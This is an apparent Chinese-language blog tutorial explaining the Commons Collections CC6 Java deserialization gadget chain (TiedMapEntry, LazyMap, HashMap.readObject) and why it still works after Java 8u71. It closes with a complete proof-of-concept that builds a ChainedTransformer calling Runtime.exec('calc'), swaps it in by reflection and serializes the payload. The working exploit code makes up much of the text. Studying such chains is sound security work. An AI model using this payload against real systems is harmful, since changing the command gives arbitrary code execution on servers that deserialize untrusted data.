因为Java 8u71以后,sun.reflect.annotation.AnnotationInvocationHandler#readObject的逻辑发生变化,导致cc1的链子在8u71之后无法使用。而cc6这条链可以解决高版本Java的利用问题

解决高版本Java的利用问题,实际上就是在找上下文中是否还有其他地方调用了LazyMap#get方法

我们找到的类是org.apache.commons.collections.keyvalue.TiedMapEntry

    public Object getValue() {
        return map.get(key);
    }

这个map是我们可控的 我们继续查找哪里调用了他的getValue

发现他的hashcode方法调用了他的getValue

   public int hashCode() {
        Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode()); 
    }

在前面挖掘URLDNS链的时候,我们已经知道HashMap的readObject方法会调用hash方法

putVal(hash(key), key, value, false, false);

而hash(key)最后会调用key.hashCode()

所以只要让这个key是TiedMapEntry对象即可

但是这样Gadget还没构造完

debug可以发现不会进这个if

1.jpg

这是为什么呢?outerMap中我们并没有放入一个key是keykey的对象

看一下之前的代码,唯一出现keykey的地方是在TiedMapEntry的构造函数里

但TiedMapEntry的构造函数并没有修改outerMap

其实关键点就在于expMap.put(tme,"valuevalue");这个语句里

HashMap的put方法中也有调用到hash(key)

    public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }

这里就导致了LazyMap这个利用链在这里被调用了一遍,因为之前用的是fakeTransformers,所以此时并没有触发命令执行,但实际上也对构造的payload产生了影响

解法很简单,只需要将keykey这个Key从outerMap中移除即可

outerMap.remove("keykey");

最终Poc:

Transformer[] fakeTransformers = new Transformer[]{
                new ConstantTransformer(1)
        };


        Transformer[] transformers = new Transformer[]{
             new ConstantTransformer(Runtime.class),
             new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
             new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
             new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);
        TiedMapEntry tme = new TiedMapEntry(outerMap,"keykey");
        Map expMap = new HashMap();
        expMap.put(tme,"valuevalue");
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(chainedTransformer,transformers);
        outerMap.remove("keykey");
        serialize(expMap);
        unserialize();

2.jpg

Q.E.D.